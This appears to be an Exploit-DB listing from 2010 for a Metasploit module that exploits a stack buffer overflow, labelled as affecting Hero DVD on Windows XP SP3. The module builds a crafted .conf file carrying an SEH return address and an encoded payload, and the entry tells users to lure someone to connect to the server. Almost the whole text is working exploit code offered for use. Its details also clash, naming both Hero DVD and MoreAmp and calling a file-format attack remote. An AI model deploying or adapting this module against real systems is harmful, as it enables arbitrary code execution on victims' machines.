Hero DVD - Buffer Overflow Exploit meta

2010-07-19T00:00:00
ID EDB-ID:14412
Type exploitdb
Reporter Madjix
Modified 2010-07-19T00:00:00

Description

Hero DVD Buffer Overflow Exploit (meta). Remote exploit for windows platform

                                        
                                            ##################################################################
#                                           _                    #
#               .-----.--.--.--.----.----.-| |___                #
#               |  _  |  |  |  |     |  -__|  _  |               #
#               |   __|________|__|__|_____|_____|               #
#               |__|        By MadjiX                            #
#                          Sec4ever.com                          #
##################################################################
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache 
# Have Someone Connect to your Server /sploit
# Credit goes to chap0 for the nice bug!

require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
  
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Hero DVD Remote Buffer Overflow Exploit',
            'Description' => %q{
                This module exploits a stack overflow in 3.0.8 MoreAmp Beta
            By creating a specially crafted .conf file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 
		[
			'MadjiX <Dz8@HotmaiL[DoT]CoM>',
			'chap0'	#Discovered by chap0
		],
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', 'N/A' ],
                    [ 'Exploit-DB', 'http://www.exploit-db.com/exploits/14257/' ],
		    [ 'Corelan', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-056' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 750,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3', { 'Ret' => 0x58324879} ], # 0x58324879 from msg723.acm  
                ],
            'Privileged' => false,
            'DisclosureDate'  => '19-07-2010',
            'DefaultTarget' => 0))
  
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
            ], self.class)
    end
  
  
    def exploit
  
        sploit = "Redirect permanent /sploit http://"
        sploit << rand_text_alphanumeric(128)
        sploit << [target.ret].pack('V')
        sploit << "B" * 24
        sploit << payload.encoded
  
        maffile = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(maffile)
  
    end
  
end